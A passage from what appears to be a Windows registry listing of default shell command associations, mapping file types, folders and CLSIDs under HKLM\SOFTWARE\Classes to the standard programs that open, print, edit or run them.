        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\provtool.exe" "%1" /source ShellOpen
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\wmplayer.exe\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\wmplayer.exe\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\wordpad.exe\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AudioCD\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:3 /device:AudioCD "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\NOTEPAD.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command
        (Standard)    REG_SZ    "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\NOTEPAD.EXE /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\runas\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\cmd.exe /C "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\brmFile\shell\Open\command
        (Standard)    REG_SZ    "PrintBrmUI.exe" /import /file:"%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CABFolder\Shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CABFolder\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe /idlist,%I,%L
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\campfile\shell\Install Profile\command
        (Standard)    REG_SZ    "colorcpl.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CATFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cdmpfile\shell\Install Profile\command
        (Standard)    REG_SZ    "colorcpl.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CERFile\shell\add\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtAddCER %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CERFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CertificateStoreFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\certificate_wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /certificate "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\hh.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00021400-0000-0000-C000-000000000046}\shell\cmd\command
        (Standard)    REG_SZ    cmd.exe /s /k pushd "%V"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0AFACED1-E828-11D1-9187-B532F1E9575D}\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0DF44EAA-FF21-4412-828E-260A8728E7F1}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\Manage\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\CompMgmtLauncher.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\van.dll,RunVAN
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}\Shell\OpenWithoutDiagnostics\Command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\van.dll,RunVAN /disablediagnostics
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{3f6bc534-dfa1-4ab4-ae54-ef25a74e0107}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rstrui.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{40419485-C444-4567-851A-2DD7BFA1684D}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\telephon.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\cmd\command
        (Standard)    REG_SZ    cmd.exe /s /k pushd "%V"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{48e7caab-b918-4e58-a94d-505519c795dc}\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5ea4f148-308c-46d7-98a9-49041b1dd468}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mblctr.exe /open
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{62D8ED13-C9D0-4CE8-A914-47DD628FB1B0}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\intl.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{67718415-c450-4f3c-bf8a-b487642dc39b}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\optionalfeatures.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6C8EEC18-8D75-41B2-A177-8831D59D2D50}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\main.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 0
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}\Shell\RunAs\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 0
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{725BE8F7-668E-4C7B-8F90-46BDB0936430}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\main.cpl,@1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{74246bfc-4c96-11d0-abef-0020af6b0b7a}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe %SystemRoot%\system32\devmgmt.msc
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{74246bfc-4c96-11d0-abef-0020af6b0b7a}\Shell\RunAs\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe %SystemRoot%\system32\devmgmt.msc
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7A9D77BD-5403-11d2-8785-2E0420524153}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    netplwiz.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{80F3F1D5-FECA-45F3-BC32-752C152E456E}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\tabletpc.cpl @1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\NoAddOns\Command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" -extoff
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{87D66A43-7B11-4A28-9811-C86EE395ACF7}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\srchadmin.dll
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8E0C279D-0BD1-43C3-9EBD-31C3DC5B8A77}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\pwcreator.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{A3DD4F92-658A-410F-84FD-6FBBBEF2FFFE}\Shell\Open\Command
        (Standard)    REG_SZ    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,Control_RunDLL C:\Windows\System32\inetcpl.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B2C761C6-29BC-4f19-9251-E6195265BAF1}\Shell\Open\Command
        (Standard)    REG_SZ    "C:\Windows\System32\colorcpl.exe"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\changehomegroupsettings\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.HomeGroup
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\sharewithdevices\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.NetworkAndSharingCenter /page ShareMedia
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\starthomegrouptroubleshooter\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\msdt.exe -id HomegroupDiagnostic
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\viewhomegrouppassword\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.HomeGroup /page Passkey
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D17D1D6D-CC3F-4815-8FE3-607E7D5D10B3}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\Speech\SpeechUX\sapi.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D4480A50-BA28-11d1-8E75-00C04FA31A86}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    rundll32 %SystemRoot%\System32\shwebsvc.dll,AddNetPlaceRunDll
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E2E7934B-DCE5-43C4-9576-7FE4F75E7480}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\timedate.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E44E5D18-0652-4508-A4E2-8A090067BCB0}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.DefaultPrograms
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F2DDFC82-8F12-4CDD-B7DC-D4FE1425AA4D}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F82DF8F7-8B9F-442E-A48C-818EA735FF9B}\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\tabletpc.cpl @0
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\NOTEPAD.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command
        (Standard)    REG_SZ    "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\NOTEPAD.EXE /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\runas\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\cmd.exe /C "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\comfile\shell\open\command
        (Standard)    REG_SZ    "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CompressedFolder\Shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CompressedFolder\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe /idlist,%I,%L
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\contact_wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /contact "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\contact_wab_auto_file\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Print "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cplfile\shell\cplopen\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\control.exe "%1",%*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cplfile\shell\runas\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe shell32.dll,Control_RunDLLAsUser "%1",%*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CRLFile\shell\add\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtAddCRL %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CRLFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\desktopthemepackfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DeviceDisplayObject\AllItems\Shell\Microsoft.DxpOpen\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DeviceDisplayObject\AllItems\Shell\Microsoft.DxpOpenInNewWindow\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DeviceDisplayObject\InterfaceClass\{0850302A-B344-4fda-9BE9-90576B8D46F0}\Shell\Bluetooth\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\bthprops.cpl,,1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DeviceDisplayObject\InterfaceClass\{70FFD812-4C7F-4C7D-926A-637B7DD852AF}\Shell\DeviceInstall\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\newdev.dll,DeviceInternetSettingUi 2
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DeviceDisplayObject\InterfaceClass\{884b96c3-56ef-11d1-bc8c-00a0c91405dd}\Shell\Regional\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\control.exe %SystemRoot%\System32\intl.cpl,,/p:"keyboard"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Cabinet\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\msdt.exe /cab "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Config\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\msdt.exe /path "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Document\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\msdt.exe /path "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Perfmon.Config\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\perfmon /sys /load "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Perfmon.Document\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\perfmon /sys /open "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Resmon.Config\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\perfmon /res /load "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\background\shell\cmd\command
        (Standard)    REG_SZ    cmd.exe /s /k pushd "%V"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\background\shell\Powershell\command
        (Standard)    REG_SZ    powershell.exe -noexit -command Set-Location -literalPath '%V'
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\cmd\command
        (Standard)    REG_SZ    cmd.exe /s /k pushd "%V"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\Powershell\command
        (Standard)    REG_SZ    powershell.exe -noexit -command Set-Location -literalPath '%V'
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\dlna-playsingle\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\docxfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\docxfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\docxfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\change-passphrase\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\bdechangepin.exe -pw %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\change-pin\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\bdechangepin.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\cmd\command
        (Standard)    REG_SZ    cmd.exe /s /k pushd "%V"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\encrypt-bde\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\BitLockerWizard.exe %1 T
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\encrypt-bde-elev\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\BitLockerWizardElev.exe %1 T
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\manage-bde\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\control.exe /name Microsoft.BitLockerDriveEncryption /page ?InitialVolume==%1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\Powershell\command
        (Standard)    REG_SZ    powershell.exe -noexit -command Set-Location -literalPath '%V'
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\resume-bde\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\BitLockerWizard.exe %1 V
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\resume-bde-elev\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\BitLockerWizardElev.exe %1 V
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\unlock-bde\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\bdeunlock.exe %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\emffile\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\emffile\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\emffile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\evtfile\Shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\eventvwr.exe /l:"%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\evtxfile\Shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\eventvwr.exe /l:"%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command
        (Standard)    REG_SZ    "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\runas\command
        (Standard)    REG_SZ    "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Explorer.AssocActionId.BurnSelection\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Explorer.AssocActionId.EraseDisc\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Explorer.AssocActionId.ZipSelection\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Explorer.AssocProtocol.search-ms\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\FaxCover.Document\shell\open\command
        (Standard)    REG_SZ    C:\Windows\System32\fxscover.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\FaxCover.Document\shell\print\command
        (Standard)    REG_SZ    C:\Windows\System32\fxscover.exe /P "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\FindApp.DVD\Shell\Play\command
        (Standard)    REG_EXPAND_SZ    explorer "ms-windows-store://search/?query=DVD"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\fonfile\shell\preview\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\fonfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ftp\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\giffile\shell\Open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\giffile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\shimgvw.dll",ImageView_PrintTo /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\gmmpfile\shell\Install Profile\command
        (Standard)    REG_SZ    "colorcpl.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\group_wab_auto_file\shell\edit\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Group "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\group_wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Group "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\group_wab_auto_file\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Print "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\winhlp32.exe %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\htafile\Shell\Open\Command
        (Standard)    REG_SZ    C:\Windows\System32\mshta.exe "%1" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}%U{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\htmlfile\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\htmlfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\htmlfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\http\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\https\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\icmfile\shell\Install Profile\command
        (Standard)    REG_SZ    "colorcpl.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.HTM\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.HTM\shell\opennew\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
